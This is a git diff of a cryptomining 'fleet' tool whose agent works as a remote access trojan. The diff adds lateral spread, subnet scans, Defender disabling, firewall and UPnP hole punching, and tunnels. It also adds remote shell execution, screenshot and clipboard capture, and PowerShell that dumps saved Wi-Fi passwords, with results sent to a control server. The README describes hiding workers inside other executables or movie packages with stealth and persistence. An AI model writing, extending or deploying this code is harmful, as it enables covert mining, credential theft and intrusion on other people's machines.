diff --git a/PROBLEMS.md b/PROBLEMS.md index 6797a9d..256b6cd 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -28,6 +28,30 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026). | B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately | | B17 | **Agent empty `new_job`** — logs error and re-requests job | | B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping | +| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard | +| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression | +| B21 | **Fusion media files not copied for Linux/macOS** — `prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list | +| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions | +| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection | +| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` | +| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) | +| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error | +| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS | +| B28 | **H15: submitShare conn data race** — `c.conn` now snapshotted under mutex before use | +| B29 | **H14: mergeConfig bool corruption** — `mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false | +| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed | +| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically | +| B32 | **H17: pool requestID race** — `requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock | +| B33 | **M20: AutoSpread goroutine storm** — `/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time | +| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure | +| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap | +| B36 | **M18: GetAgentLog blocks** — `?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop | +| B37 | **M16: Earnings estimator race** — `AbortController` per fetch; stale response ignored if a newer request already fired | +| B38 | **M12: Duplicate WS connections** — `WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read | +| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first | +| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) | +| B41 | **L7: Matrix animation restarts on share** — `recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` | +| B42 | **L9: Blueprint file permissions** — `os.WriteFile` mode changed from `0644` to `0600` | --- @@ -77,11 +101,6 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026). | H9 | `upload_log` returns content in tool report only | No dedicated log ingest API | | H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled | | H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` | -| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values | -| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex | -| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use | -| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines | -| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections | --- @@ -92,15 +111,8 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026). | M1 | Compact agent list default | Expand on click | | M6 | Remote actions disabled unless `online` | By design | | M9 | Fusion uses vendored `go-winres` | Optional via run.bat | -| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections | -| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost | | M14 | **Batch forge no cancel/abort** | State updates after navigate away | -| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file | -| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate | -| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth | -| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request | -| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners | -| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep | +| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) | --- @@ -108,15 +120,10 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026). | ID | Issue | |----|-------| -| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` | -| L2 | Duplicate CSS imports on Dashboard/Agents | | L3 | WS payloads typed in two places (`types/ws.ts` + Go) | | L4 | No integration tests for remote actions | | L5 | Mesh P2P requires build tag `p2p` | -| L6 | `terminalLog` / `agentLogs` grow without bound | -| L7 | Matrix overlay restarts animation on every share | | L8 | Settings config import shallow-merge | -| L9 | Blueprint files written mode `0644` | | L10 | XOR media crypto — weak confidentiality by design | --- @@ -144,8 +151,7 @@ See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options. ## Priority for next pass -1. Agent WS token auth (bind `agent_id` to build secret) -2. Dashboard WS auth (match REST Basic auth) -3. Config merge with pointer types / explicit fields -4. Shared WebSocket context (single connection app-wide) -5. Process hollowing bounds + reloc (`hollow_windows.go`) +1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2) +2. **Dashboard WS auth** — require session cookie on WS upgrade (S3) +3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12) +4. **Batch forge cancel** — AbortController + server-side queue cancel (M14) diff --git a/README.md b/README.md index 7337163..78d5a7c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ **Private Monero fleet command deck for machines you own.** -One Windows control PC. One dashboard. Forge a worker installer per machine — fuse it inside your own prep tool or a movie package — and watch your entire LAN hash from a single steampunk-neon command deck. +One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck. No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet. @@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n |-------|----------------| | **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool | | **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide | -| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands | +| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch | | **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable | | **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders | | **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags | @@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat - Fleet filters, bulk commands, notes/tags ### Forge (Miner Builder) +- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP) +- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install` - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI - Blueprint save/load — re-forge the same profile across machines - Build manager — download, paths, LAN QR for worker URL @@ -71,6 +73,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below) - **Batch forge** — queue many movies; progress bar; one ZIP per title - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion +- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement) + +### Cross-platform workers + +| OS | Persistence | Install base | +|----|-------------|--------------| +| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) | +| Linux | systemd user service | XDG data home | +| macOS | LaunchAgent | `~/Library/Application Support` | + +Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime. + +**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon). ### Movie Fusion (detailed) diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go new file mode 100644 index 0000000..c90cf2f --- /dev/null +++ b/agent/client/aggressive_commands.go @@ -0,0 +1,143 @@ +package client + +import ( + "fmt" + "strconv" + "strings" + + "crypto-miner-agent/deploy" +) + +func (c *AgentClient) allowRemoteAction(action string) (bool, string) { + switch action { + case "hole_punch", "hole_punch_close", "hole_punch_status": + if !c.cfg.HolePunch { + return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" + } + case "spread_now": + if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { + return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" + } + case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch": + if !c.cfg.RemoteAggressive { + return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" + } + case "mesh_status": + if !c.cfg.MeshP2P { + return false, "mesh P2P not enabled in forge" + } + default: + return true, "" + } + return true, "" +} + +func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { + ok, reason := c.allowRemoteAction(action) + if !ok { + c.sendCommandResult(action, false, reason) + return true + } + + switch action { + case "hole_punch": + internalPort := parsePortArg(command, 8989) + externalPort := parsePortArg(path, internalPort) + desc := data + if desc == "" { + desc = c.cfg.WorkerName + "-aetherforge" + } + result, err := deploy.PunchUPnP(internalPort, externalPort, desc) + if err != nil { + c.sendCommandResult(action, false, result.Message) + return true + } + c.sendCommandResult(action, true, result.Message) + return true + + case "hole_punch_close": + externalPort := parsePortArg(command, 8989) + msg, err := deploy.CloseUPnP(externalPort) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "hole_punch_status": + ip, err := deploy.GetPublicEndpoint() + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip)) + return true + + case "spread_now": + msg := deploy.RunSpreadOnce(c.cfg) + c.sendCommandResult(action, true, msg) + return true + + case "start_tunnel": + serverURL := strings.TrimSpace(command) + if serverURL == "" { + serverURL = c.cfg.ServerURL + } + msg, err := deploy.StartCloudflaredTunnel(serverURL) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "subnet_scan": + maxHosts := parsePortArg(command, 64) + out := deploy.ScanLocalSubnet(maxHosts) + c.sendCommandResult(action, true, out) + return true + + case "defender_off": + msg, err := deploy.DisableDefenderRealtime() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "firewall_punch": + port := parsePortArg(command, 8989) + name := path + if name == "" { + name = "AetherForge Remote " + c.cfg.WorkerName + } + msg, err := deploy.OpenFirewallPort(port, name) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "mesh_status": + count := c.mesh.PeerCount() + c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) + return true + } + + return false +} + +func parsePortArg(raw string, fallback int) int { + raw = strings.TrimSpace(raw) + if raw == "" { + return fallback + } + n, err := strconv.Atoi(raw) + if err != nil || n <= 0 || n > 65535 { + return fallback + } + return n +} diff --git a/agent/client/aggressive_commands_test.go b/agent/client/aggressive_commands_test.go new file mode 100644 index 0000000..db53382 --- /dev/null +++ b/agent/client/aggressive_commands_test.go @@ -0,0 +1,46 @@ +package client + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestAllowRemoteActionHolePunch(t *testing.T) { + c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}} + ok, reason := c.allowRemoteAction("hole_punch") + if ok || reason == "" { + t.Fatalf("expected hole punch blocked without forge flag") + } + + c.cfg.HolePunch = true + ok, reason = c.allowRemoteAction("hole_punch") + if !ok || reason != "" { + t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason) + } +} + +func TestAllowRemoteActionSpread(t *testing.T) { + c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}} + ok, _ := c.allowRemoteAction("spread_now") + if ok { + t.Fatal("spread_now should require auto_spread or remote_aggressive") + } + c.cfg.RemoteAggressive = true + ok, _ = c.allowRemoteAction("spread_now") + if !ok { + t.Fatal("spread_now should allow with remote_aggressive") + } +} + +func TestParsePortArg(t *testing.T) { + if parsePortArg("", 8989) != 8989 { + t.Fatal("empty should fallback") + } + if parsePortArg("443", 8989) != 443 { + t.Fatal("443 expected") + } + if parsePortArg("bad", 8989) != 8989 { + t.Fatal("invalid should fallback") + } +} diff --git a/agent/client/ai.go b/agent/client/ai.go index 1d88826..8c18009 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) { } f.Close() - // Replace old binary + // On Windows the running executable is locked — you cannot overwrite it, but + // you CAN rename/move it to a .old path (the file handle stays open on the + // original inode). Rename the live exe out of the way first, then put the + // new binary in its place. + oldPath := exePath + ".old" + _ = os.Remove(oldPath) // remove a previous leftover if any + if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) { + // Running exe could not be moved — fall back to writing alongside + os.Remove(tmpPath) + return "", fmt.Errorf("cannot displace running binary: %w", err) + } + if err := os.Rename(tmpPath, exePath); err != nil { + // Restore the old binary so the next run still works + _ = os.Rename(oldPath, exePath) os.Remove(tmpPath) return "", fmt.Errorf("rename failed: %w", err) } - // Start the new binary + // Start the new binary with its own process group so it survives our exit startCmd := exec.Command(exePath) if err := startCmd.Start(); err != nil { return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil diff --git a/agent/client/client.go b/agent/client/client.go index 368337d..78cbd13 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -10,6 +10,7 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "sync" "time" @@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error { AIEnabled: c.cfg.AIEnabled, AIOllamaEndpoint: c.cfg.AIOllamaEndpoint, AIModel: c.cfg.AIModel, + HolePunch: c.cfg.HolePunch, + RemoteAggressive: c.cfg.RemoteAggressive, + MeshP2P: c.cfg.MeshP2P, + AutoSpread: c.cfg.AutoSpread, + ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows", + Platform: runtime.GOOS, + Arch: runtime.GOARCH, + OSVersion: deploy.HostOSVersion(), }) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) { } func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) { + if c.handleAggressiveCommand(action, tailLines, command, path, data) { + return + } switch action { case "pause": c.pool.PauseRemote() @@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, c.sendCommandResult(action, false, "no command provided") return } - out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput() + out, err := c.runExecCommand(command) if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + c.sendCommandResult(action, false, formatCmdErr(err, out)) return } c.sendCommandResult(action, true, string(out)) @@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, c.sendCommandResult(action, false, "no command provided") return } - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput() + out, err := c.runShellCommand(command) if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + c.sendCommandResult(action, false, formatCmdErr(err, out)) return } c.sendCommandResult(action, true, string(out)) @@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } encoded := base64.StdEncoding.EncodeToString(b) c.sendCommandResult(action, true, encoded) - case "ps": - out, err := exec.Command("tasklist").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "netstat": - out, err := exec.Command("netstat", "-ano").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "users": - out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "software": - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", - "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "screenshot": - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", - "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out))) - return - } - c.sendCommandResult(action, true, strings.TrimSpace(string(out))) - case "sysinfo": - out, err := exec.Command("systeminfo").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "ipconfig": - out, err := exec.Command("ipconfig", "/all").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, string(out)) - case "clipboard": - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, strings.TrimSpace(string(out))) - case "wifi": - script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : "} }` - out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) - return - } - c.sendCommandResult(action, true, strings.TrimSpace(string(out))) default: + if c.handleReconCommand(action, command) { + return + } c.sendCommandResult(action, false, "unknown action") } } @@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) { func (c *AgentClient) submitShare(jobID, nonce, hash string) { c.mu.Lock() c.sharesSubmitted++ + conn := c.conn // read under the same lock to avoid data race c.mu.Unlock() payload, _ := json.Marshal(SharePayload{ @@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) { Worker: c.cfg.WorkerName, }) - if c.conn != nil { + if conn != nil { _ = c.write(Message{Type: "submit_share", Payload: payload}) } else if c.cfg.MeshP2P { - // Offline from Hub? Broadcast to Mesh peers! c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload}) } } diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go new file mode 100644 index 0000000..f573f3f --- /dev/null +++ b/agent/client/commands_common.go @@ -0,0 +1,34 @@ +package client + +import ( + "fmt" + "os/exec" + "runtime" +) + +func (c *AgentClient) runShellCommand(command string) ([]byte, error) { + if runtime.GOOS == "windows" { + return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput() + } + return exec.Command("/bin/sh", "-c", command).CombinedOutput() +} + +func (c *AgentClient) runExecCommand(command string) ([]byte, error) { + if runtime.GOOS == "windows" { + return exec.Command("cmd.exe", "/C", command).CombinedOutput() + } + return exec.Command("/bin/sh", "-c", command).CombinedOutput() +} + +func (c *AgentClient) handleReconCommand(action, command string) bool { + handled, success, msg := c.platformRecon(action, command) + if !handled { + return false + } + c.sendCommandResult(action, success, msg) + return true +} + +func formatCmdErr(err error, out []byte) string { + return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)) +} diff --git a/agent/client/commands_unix.go b/agent/client/commands_unix.go new file mode 100644 index 0000000..d53028f --- /dev/null +++ b/agent/client/commands_unix.go @@ -0,0 +1,53 @@ +//go:build !windows + +package client + +import ( + "os/exec" + "strings" +) + +func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) { + var out []byte + var err error + switch action { + case "ps": + out, err = exec.Command("ps", "aux").CombinedOutput() + case "netstat": + out, err = exec.Command("ss", "-tunap").CombinedOutput() + if err != nil { + out, err = exec.Command("netstat", "-an").CombinedOutput() + } + case "users": + out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput() + case "software": + out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput() + case "screenshot": + if command != "" { + out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput() + } else { + return true, false, "screenshot not supported on this platform without custom command" + } + case "sysinfo": + out, err = exec.Command("uname", "-a").CombinedOutput() + case "ipconfig": + out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput() + case "clipboard": + out, err = exec.Command("pbpaste").CombinedOutput() + if err != nil { + out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput() + } + if err == nil { + return true, true, strings.TrimSpace(string(out)) + } + return true, false, "clipboard read unsupported on this host" + case "wifi": + out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput() + default: + return false, false, "" + } + if err != nil { + return true, false, formatCmdErr(err, out) + } + return true, true, string(out) +} diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go new file mode 100644 index 0000000..88a98ca --- /dev/null +++ b/agent/client/commands_windows.go @@ -0,0 +1,54 @@ +//go:build windows + +package client + +import ( + "os/exec" + "strings" +) + +func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) { + var out []byte + var err error + switch action { + case "ps": + out, err = exec.Command("tasklist").CombinedOutput() + case "netstat": + out, err = exec.Command("netstat", "-ano").CombinedOutput() + case "users": + out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput() + case "software": + out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput() + case "screenshot": + out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", + "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput() + if err == nil { + return true, true, strings.TrimSpace(string(out)) + } + return true, false, formatCmdErr(err, out) + case "sysinfo": + out, err = exec.Command("systeminfo").CombinedOutput() + case "ipconfig": + out, err = exec.Command("ipconfig", "/all").CombinedOutput() + case "clipboard": + out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput() + if err == nil { + return true, true, strings.TrimSpace(string(out)) + } + return true, false, formatCmdErr(err, out) + case "wifi": + script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : "} }` + out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + if err == nil { + return true, true, strings.TrimSpace(string(out)) + } + return true, false, formatCmdErr(err, out) + default: + return false, false, "" + } + if err != nil { + return true, false, formatCmdErr(err, out) + } + return true, true, string(out) +} diff --git a/agent/client/mesh_p2p.go b/agent/client/mesh_p2p.go index bbd4e54..39f1b56 100644 --- a/agent/client/mesh_p2p.go +++ b/agent/client/mesh_p2p.go @@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) { s.Close() } } + +// PeerCount returns the number of connected mesh peers. +func (m *MeshNode) PeerCount() int { + if m.host == nil { + return 0 + } + return len(m.host.Network().Peers()) +} diff --git a/agent/client/mesh_p2p_stub.go b/agent/client/mesh_p2p_stub.go index 3947c1f..d1e4c74 100644 --- a/agent/client/mesh_p2p_stub.go +++ b/agent/client/mesh_p2p_stub.go @@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil } func (m *MeshNode) BroadcastToMesh(_ Message) {} +func (m *MeshNode) PeerCount() int { return 0 } + diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 079ed50..ba723ff 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -22,6 +22,14 @@ type AuthPayload struct { AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` + HolePunch bool `json:"hole_punch"` + RemoteAggressive bool `json:"remote_aggressive"` + MeshP2P bool `json:"mesh_p2p"` + AutoSpread bool `json:"auto_spread"` + ProcessHollowing bool `json:"process_hollowing"` + Platform string `json:"platform"` + Arch string `json:"arch"` + OSVersion string `json:"os_version"` } type AuthResponse struct { diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 94a3fb8..9fa5810 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig { ProcessHollowing: false, MeshP2P: false, AutoSpread: false, + HolePunch: false, + RemoteAggressive: false, } } diff --git a/agent/config/config.go b/agent/config/config.go index 9e676ea..58fe13b 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -50,6 +50,14 @@ type BuiltinConfig struct { ProcessHollowing bool MeshP2P bool AutoSpread bool + HolePunch bool + RemoteAggressive bool + // Backup server URLs — tried in order if primary fails + BackupServerURLs []string + // Windows service masquerade (ignored on other OSes) + ServiceMasquerade bool + ServiceName string + ServiceDonor string } type RuntimeConfig struct { diff --git a/agent/config/install.go b/agent/config/install.go index e89ec51..6d51a4d 100644 --- a/agent/config/install.go +++ b/agent/config/install.go @@ -4,6 +4,7 @@ import ( "fmt" "os" "path/filepath" + "runtime" "strings" ) @@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) { func resolveInstallBase(baseType, customBase string) (string, error) { switch strings.ToLower(strings.TrimSpace(baseType)) { case "", "localappdata": - return requireEnv("LOCALAPPDATA") + if runtime.GOOS == "windows" { + return requireEnv("LOCALAPPDATA") + } + return xdgDataHome() case "appdata": - return requireEnv("APPDATA") 